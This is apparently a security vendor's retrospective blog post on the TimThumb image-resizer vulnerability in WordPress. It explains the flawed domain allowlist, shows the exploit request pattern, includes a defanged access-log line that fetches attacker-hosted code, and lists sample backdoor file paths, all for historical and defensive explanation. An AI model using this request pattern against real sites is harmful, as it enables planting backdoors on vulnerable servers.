TimThumb Attacks: The Scale of Legacy Malware Infections

These days, we consider a malware campaign massive if it affects a couple thousand websites. However, back in the day when Sucuri first started its operations, the scale of infections was significantly larger — and it was quite typical to see hundreds of thousands of websites affected by the same malware.

This was mostly because early versions of CMS’ were not very secure but already popular enough to power millions of websites. Extension developers also didn’t bother much about security. The whole ecosystem was very young. And with the lack of alternatives, even amateur plugins and themes had a good chance of being adopted by a large number of websites.

At the time, most CMS’ didn’t have any serious security plugins. Website application firewalls were not normally used outside of corporations. This all lead to situations where vulnerabilities resulted in tens (or sometimes even hundreds) of thousands of infected websites within a very short time. Another common source of massive infections was malware that stole website credentials from the computers of webmasters.

Blast From the WordPress Past: TimThumb Vulnerability

One of the most famous attacks in the WordPress ecosystem during 2011-2014 was the exploitation of the TimThumb vulnerability.

TimThumb was a simple PHP script used for resizing images. A large number of popular WordPress themes and plugins used this script.

Back in 2011, a vulnerability in this script was discovered which allowed attackers to upload PHP files to websites using TimThumb.

Back in those days, David Dede was busy writing about the recently found vulnerability on our Blog (yeah – I agree, our vulnerability analysis articles are much better now). In these articles, he described the scope and impact for affected themes, plugins and infections.

TimThumb Exploit Leverages Flawed Implementation

The exploit used TimThumb’s feature to create thumbnails of images stored on trusted third-party sites. In order to resize these images, the files needed to be downloaded and stored in a cache directory so that the script didn’t have to download them every time.

This feature worked using a simple GET request: timthumb.php?src=http://trusted-site.tld/image.gif

Since these types of GET requests can be easily modified to download arbitrary files from the internet, the developer attempted to ensure that no files could be erroneously downloaded. To accomplish this, the script checked the header of the file and identified whether the URL matched the list of trusted sites. However, as it usually happens, this good idea was “ruined” by flawed implementation.

Vulnerability Leads to Malicious Code Execution & Backdoors

While checking for a file header may sound like a good idea, it doesn’t take into account that PHP can ignore anything outside of the <?php ?> tags. This means that hackers can add malicious PHP code at the end of a real image and their code will be executed whenever the file is requested.

This might not be a big problem if the script only downloads files from trusted sites that are unlikely to host malware. However, TimThumb only checked that the beginning of the URL matched popular lists of sites like:

• blogger.com
• flickr.com
• wordpress.com
• picasa.com
• img.youtube.com
• photobucket.com
• tinypic.com
• upload.wikimedia.org

This approach completely neglected the possibility that a URL beginning with “http://blogger.com” might not belong to a blogger.com site.

For example, “http://blogger.com.example.com” or “http://blogger.community.example.com” would successfully pass the check that had been implemented for TimThumb.

Along with a few other thoughtless coding practices, this made the timthumb.php file (sometimes renamed to thumb.php) a perfect penetration point for hackers. Attackers used it to upload backdoors and maintain access to vulnerable websites.

Here are a few examples of uploaded cached backdoors seen from this vulnerability:

/wp-content/themes/PersonalPress/cache/34e3a3a74f6e2d0f236bdd3ba70c0c03.php
/wp-content/plugins/uBillboard/cache/39c7c6041111f8eb22deaa310e1f2f7c.php
/wp-content/uploads/thumb-temp/b712fe675191c264b1326871cd5f3d0c.php

Malicious Subdomains on Compromised Sites

When reviewing  website logs back in 2012, it was typical to find requests like the one below, which tried to exploit the TimThumb vulnerability.

95.128.204.x - - [01/May/2012:23:31:33 +0200] "GET //wp-content/themes/LondonLive/thumb.php?src=hxxp://picasa.com.kereny[.]ro/go.php HTTP/1.1" 200 415 example.com "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" "-"

Hackers created subdomains that matched the sites that TimThumb trusted by default. In the sample seen above, the second level domain belonged to a real, legitimate site.

Back then, hackers hijacked the DNS settings of thousands of websites and created subdomains that pointed to their own servers which hosted backdoors and other malware.

Backdoors Found on Thousands of Compromised Sites

During a single year, from March 2012 to February 2013, Sucuri recorded more than 3,000 URLs of backdoors used in TimThumb attacks on our client sites. You can find the full list here: https://pastebin.com/fKJt83ic

Of course, not all of these 3,000+ URLs are unique — and we had registered multiple backdoors associated with the same second-level domains. But still, this includes 1,200+ unique domains which had been compromised by hackers just to serve backdoors off of their subdomains. If seen today, this number would be considered significant for the entire wave of a malware campaign. As you can imagine, the number of compromised sites leveraging the TimThumb vulnerability was larger by orders of magnitude.

TimThumb Usage Statistics

On September 2014, Ben Gillbanks, who took over TimThumb’s development in 2009, wrote an article announcing the tool’s end of life and support.

Despite the “If you want to use TimThumb, then you do so at your own risk!” alert made by Ben, people are still using it.

I was able to gather some information on our Incident Response logs from January 2017 to August 2019 and the number of sites running the tool was much higher than I expected — especially since it’s been defunct for 5 years now.

Checking the 2512 sites we’ve scanned in 2019 that contain this tool, a total of 89.8% of them were hosting at least one known malicious file. This means that there’s still a potential for infection using all of the known TimThumb vulnerabilities. It also showcases the importance of only using third-party components that are actively developed and maintained.

Internet Security: Leaps and Bounds

So, why bother even releasing this information in 2019? We’ve compiled this data with the intention of helping you, our reader, appreciate how much more secure the internet has become in the past decade.

The growth in the website space is significant. CMS cores don’t have significant security issues. Developers of popular themes and plugins have experienced their share of vulnerability-related problems and now write more secure code to protect their install bases. Hosting providers do a better job of isolating accounts and quickly address infections on their clients’ sites. More and more researchers review the code of popular CMS’ and their extensions, and practice responsible disclosure which helps to mitigate security problems much faster than a few years ago. Of course, every now and then we still see some massive infections, though they’re not nearly at the scale seen even 5 years ago.

Sucuri customers who are behind our website firewall are automatically protected from these types of massive infections. If you are the victim of a site compromise or think you may have backdoors or other malicious files, we’d be happy to help remove malware from your website.